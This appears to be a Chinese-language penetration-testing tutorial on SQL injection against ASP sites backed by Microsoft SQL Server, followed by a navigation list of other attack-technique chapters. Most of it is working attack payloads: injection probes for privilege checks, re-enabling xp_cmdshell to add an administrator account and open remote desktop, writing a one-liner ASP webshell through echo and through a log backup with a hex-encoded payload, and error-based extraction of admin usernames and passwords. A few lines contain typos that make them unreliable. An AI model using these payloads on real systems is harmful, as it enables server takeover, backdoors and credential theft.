msSQL数据库注入:
参考:https://blog.csdn.net/xabc3000/article/details/7615378
介绍一下基于ASP+MsSQL环境下的注入攻击技术。
## 第一步:注入点类型的判断
首先要对MsSQL注入点进行一下基本的注入检测,然后判断是否是MsSQL注入点
```sql
# 如果页面返回正常,则说明为MsSQL注入点。
and exists (select * from sysobjects) >0
```
## 第二步:获取当前系统用户名
```sql
and system_user=0
# system_user是查询当前数据库系统的用户名,是字符型,与整型数据进行对比时,类型不匹配会造成数据库报错。
# 从返回的错误信息中,可得知当前系统用户名。(如果不行,换个浏览器试试可能就成功了)
```
##第三步:判断注入点权限
```sql
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('db_owner'))
and 1=(select is_srvrolemember('public'))
如果查询返回正常页面,则说明当前数据库用户具有sa、db_owner、public权限,
sa为数据库用户中最高权限,默认也是系统权限,对服务器安全威胁是相当高的。
如果数据库与Web服务器是同一个,默认情况下可以通过MsSQL自带的存储过程对整个服务器进行控制。
db_owner 权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。
public 权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。
如果权限不足,可通过注入点猜解数据库内容获得管理员账号。
```
## 第四步:MsSQL返回信息判断
```sql
and @@version>0
# 从页面返回的错误信息中,可以得到数据库版本信息。
# 如果页面出错,但未返回可利用的信息,则说明MsSQL关闭了错误信息提示,
# 在猜解数据库内容时,就不能用爆库的方法了,只能使用union select联合查询或盲注入攻击方法。
# 如下查询检测,获得更多的关于MsSQL注入点的信息。
## 判断MsSQL支持多行语句查询
;declare @d int
# 是否支持子查询
and (select count (1) from [sysobjects])>=0
# 获取当前数据库用户名
and user>O
# 获取当前数据库名称
and db_name>0
# 当前数据库名
and l=convert (int,db_name ()) 或 1=(select db_name ())
# 本地服务名
and 1=(select @@servername)
# 判断是否有库读取权限
and 1=(Select HAS_DBACCESS ('master'))
```
## 第五步:利用MsSQL扩展存储注入攻击
扩展存储过程是MsSQL提供的特殊功能。
所谓“扩展存储过程”,其实就是一个普通的Windows系统DLL文件,按照某种规则实现了某些函数功能.
MsSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作.利用这个特性,在实施MsSQL注入攻击时,可以更容易地对系统进行控制。
xp_cmdshell是什么?
答:SQL中运行系统命令行的系统存储过程,一般在安全级别较高的服务器上,建议关闭或限制访问权限。
可以使用外围应用配置器工具以及通过执行 sp_configure 来启用和禁用 xp_cmdshell。
```sql
# 提交如下查询进行检测。查看xp_cmdshell、xp_regread扩展存储过程是否被删除。
and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
and 1=(Select count(*) FROM master. dbo.sysobjects Where name = 'xp_regread')
#如果扩展存储被删除,可执行如下查询进行恢复。
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
## 或者以下一系列语句:
;EXEC sp_configure 'show advanced options', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'xp_cmdshell', 1 --
;RECONFIGURE WITH OVERRIDE --
;EXEC sp_configure 'show advanced options', 0 --
```
### 攻击中最常利用的扩展存储
xp_cmdshell—利用此存储过程可以直接执行系统命令。
xp_regread—利用此存储过程可以进行注册表读取。
xp_regwrit一利用此存储过程可以写入注册表。
xp_dirtre一利用此存储过程可以进行列目录操作。
xp_enumds—利用此存储过程可以进行ODBC连接。
xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。
xp_makecab一一利用此存储过程可以创建压缩卷。
xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。
xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.
结合上面的这些扩展存储,通过提交精心构造的查询语句,可利用扩展存储的强大功能进行攻击。
## 第六步:SA权限下扩展存储攻击利用方法→3389远程终端
SA权限判断
```sql
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
````
利用扩展存储开启远程终端步骤:
```sql
# 1.添加账号:
;exec master..xp_cmdshell 'net user test test /add'
# 2.提权账号:加入admin组
;exec master..xp_cmdshell 'net localgroup administrators test /add'
# 3.开启3389端口:不报错就表示成功
;execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
# 4.链接3389端口控制对方的电脑
输入目标的IP,账号密码就是test,连接成功后退出的话点击断开,不要关机。
```
⛔sa权限下,还有如下几种方法都可以获得目标的webshell。
* 利用 xp_regwrite 操作注册表与开启沙盒模式
* 利用 sp_makewebtask 写入一句话木马
* 利用 sp_oacreate 存储远程下载文件
* 利用 sp_addlogin 扩展管理数据库用户
* 利用 xp_servicecontrol 管理服务
## 第七步:dbowner 权限利用方法( )
dbowner权限判断
```sql
and 1=(SELECT IS_MEMBER('db_owner'));--
```
⛔当数据库连接账户为dbowner权限时,无法直接利用扩展存储执行各种系统命令,进行攻击的过程比较烦琐。
1. 通常首先利用xp_dirtree扩展存储列出Web目录,
2. 然后利用SQL语句创建一个临时表,插入一句话木马到临时表中。
3. 然后利用数据库备份语句,将数据库备份到Web目录并保存为ASP格式的文件,即可得到一个一句话木马后门。
4. 最后利用一句话木马客户端连接后门,得到WebShell后就可以控制整个服务器了。
🔰db_owner目前公开的方法主要有五种:
第一种:就是最普遍的backup,现在利用差异备份生成的asp文件确实要比以前小拉不少,但能否得到webshell,目前成功率还不是很高。
第二种:就是在下的万能提权,此法成功率几乎为零,只有在特定的条件下面才能实现。
第三种:就是LCX大牛在《MSSQLdb_owner角色注入直接获得系统权限》所说的利用xp_regread读出VNC在注册表的加密密码,然后破解,直接拿到系统权限,这种方法局限性比较大,要是对方主机没有装vnc,你怎么办。
第四种:就是利用xp_regwrite再注册表里直接加个系统帐号或者直接写个webshell,在主机重起的时候就可以拿到webshell或者系统权限。此法适用范围比较大,成功率也相对前3种较高点,但缺点也是显而易见的,就是不能够马上得到webshell,需要对方重起。
第五种:就是利用添加作业的一些存储过程,sp_add_job,sp_addtask,xp_dirtree之类得到系统权限。理论上应该说是目前这5种里面成功率最高的的一种,
下面我们就重点介绍一下第五种方法。
### 1.找出网站安装路径:
当Web服务器与数据库在同一服务器主机上时,就可以备份一句话木马到Web目录了。但是在备份一句话木马前,首先需要搜索Web目录,可通过如下几个步骤实现。
第壹种方法:通过报错或baidu、google等查找
第贰种方法:这种方法需要满足三个条件,可以获取目标的所有盘符和深度
1. SQL SERVER允许执行多行语句;
2. 该网站能进行注入;
3. 没有返回详细的错误提示信息(否则没有必要用这种方法)。
```sql
# 1. 删除表black;首先建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树 ,该表的dir字段表示目录的名称,depth字段表示目录的深度。
;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255), id int not null identity (1,1))--
# 2. 然后执行xp_dirtree获得D盘的目录树
;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'D:',1,1--
# 3. 查看D盘有几个文件夹,这样对D盘有个大致的了解
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)
# 4. 接着在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上
## 看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
# 5. 假设找到的WEB根目录在此盘上,用下面的语句来获得一级子目录的深度:
## 假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。
and (select depth from temp where dir='user')>=数字 #数字=1、2、3...
# 6. 接下来,另建一个临时表temp1,用来存放D盘的1级子目录下的所有目录
;create table temp1(dir nvarchar(255),depth varchar(255));--
# 7. 然后把从D盘的第一个子目录下的所有目录存到temp1中
declare @dirname varchar(255);set @dirname='D:/'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
# 8. temp1中已经保存了所有D盘第一级子目录下的所有目录,用同样的方法来判断根目录是否在此一级子目录下
## 如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下
## 用同样的方法来获得D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。
## 要注意,用xp_dirtree前一定要把temp1表中的内容删除。
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
# 9.假设WEB根目录在D盘的第一级子目录下,该子目录名称为website,
## 前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。
## 用同样的方法,再建立第3个临时表 temp2
;create table temp2(dir nvarchar(255),depth varchar(255));--
# 10. 然后把从D盘的website下的所有目录存到temp2中
declare @dirname varchar(255);set @dirname='D:/website/'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
# 11.用同样的方法判断该目录是否为根目录
## 如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:/website/www
# 12. 查询临时表中的内容,也就是指定的目录文件和文件夹名。由于不能一次性获取所有目录文件和文件夹名,因此需要更改id的值,依次列出文件和文件夹来。
and (select dir from temp where id=1)>0
```
### 2.获取数据库用户名
```sql
'http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =O--
```
### 3.写入一句话木马:
方法一:一句话木马'(通过中国菜刀)
```sql
%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'--
# <%eval%20request("chopper")%> 是一句话木马,需要根据web的不同而变化
# c:\wwwtest\iis-xxser.com--wwwroot\ 是路径
# muma.asp 是一句话木马的名字
```
方法二:差异备份'(此方法数据库必须曾经备份过事务日志)
```sql
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
# (0x3C2565786375746528726571756573742822636D64222929253E) 是一句话木马的16进制编码
# C:\wwwtest\iis-xxser.com--wwwroot\ 是物理路径
# yjh.asp 是一句话木马的名字
```
也可以使用工具代替上述操作(GetWebShell),然后用菜刀连接目标
* 地址为:目标的根目录地址然后/muma.asp
* 密码为:“chopper”
然后就可以进入对方的服务器了。
## 第八步:public权限利用方法
```sql
# public权限检测
and db_name()=0--
# 1.获取mssql所有数据库名和路径
%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
# 2.获取当前数据库所有表名
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
# 3.爆表名及字段名
having 1=1-- ●爆出了admin.id
group by admin.id having 1=1-- ●又爆出了admin.name
group by admin.id,admin.name having 1=1-- ●又爆出了admin.passwd
# 4、获取字段内容
//and//(select//top//1//isnull(cast([id]//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]//as//nvarchar(4000)),char(32))//from//[testdb]..[admin]//where//1=1//and//id//not//in//(select//top//0//id//from//[testdb]..[admin]//where//1=1//group//by//id))%3E0//and//1=1
```
- src导航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查询
- 备案信息查询
- 信用信息查询
- IP反查站点的站
- 浏览器插件
- 收集子域名信息
- 在线平台
- 工具枚举
- ssl与证书透明度
- DNS历史解析
- DNS域传送漏洞
- C段探测
- JS文件域名&ip探测
- 搜索引擎&情报社区
- google黑客
- 威胁情报
- 钟馗之眼
- 收集相关应用信息
- 微信公众号&微博
- APP收集&反编译
- 收集常用端口信息
- 常见端口&解析&总结
- 扫描工具
- 网络空间引擎搜索
- 浏览器插件
- nmap扫描
- 收集敏感信息
- 源码泄露
- 邮箱信息收集
- 备份文件泄露
- 目录&后台扫描
- 公网网盘
- 历史资产
- 指纹&WAF&CDN识别
- 指纹识别
- CDN识别
- 绕过CDN查找真实IP
- WAF识别
- 漏洞资源和社工
- 漏洞公共资源库
- 社会工程
- 资产梳理
- 各种对渗透有帮助的平台
- 扫描器
- 扫描器对比
- AppScan(IBM)_web和系统
- AWVS_web扫描
- X-Scan_系统扫描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_绿盟_web
- 安恒明鉴
- Nessus_系统
- nexpose_系统
- 启明天镜_web_系统
- SQL注入
- 常用函数
- sql注入步骤
- union注入和information_schema库
- 函数和报错注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解决方案
- Access数据库注入
- MSSQL数据库注入
- MYSQL数据库注入
- 神器SQLmap
- xss跨站脚本攻击
- xss原理和分类
- xss案例和修复
- xss绕过技巧
- xss案例
- 文件上传下载包含
- 常有用文件路径
- 文件上传漏洞
- 文件下载漏洞
- 文件包含漏洞
- upload-labs上传漏洞练习
- XXE、SSRF、CSRF
- SSRF原理基础
- SSRF案例实战
- CSRF原理基础
- CSRF案例及防范
- XXE之XML_DTD基础
- XXE之payload与修复
- XXE结合SSRF
- 远程命令执行与反序列化
- 远程命令和代码执行漏洞
- 反序列化漏洞
- 验证码与暴力破解
- 爆破与验证码原理
- CS架构暴力破解
- BS架构暴力破解
- WEB编辑器漏洞
- 编辑器漏洞基础
- Ewebeditor编辑器
- FCKeditor编辑器
- 其他编辑器
- web中间件漏洞
- 中间件解析漏洞
- Tomcat常见的漏洞总结
- Jboss漏洞利用总结
- Weblogic漏洞利用总结
- WEB具体步骤
- 旁注和越权
- CDN绕过
- 越权与逻辑漏洞
- WEB应用常见其他漏洞
- WEB登陆页面渗透思路
- 获取WEBshell思路
- 社工、钓鱼、apt
- 社工和信息收集
- 域名欺骗
- 钓鱼邮件
- 一些钓鱼用的挂马工具
- 代码审计
- 代码审计工具
- WAF绕过
- WAF基础及云WAF
- 各种WAF绕过方法
- 绕过WAF上传文件
- 系统提权
- windows系统提权
- linux系统提权
- 数据库提权操作系统
- 内网横向渗透
- 内网穿透方式
- 一些内网第三方应用提权
- ARP与DOS
- ARP欺骗
- DOS与DDOS
- 一些DOS工具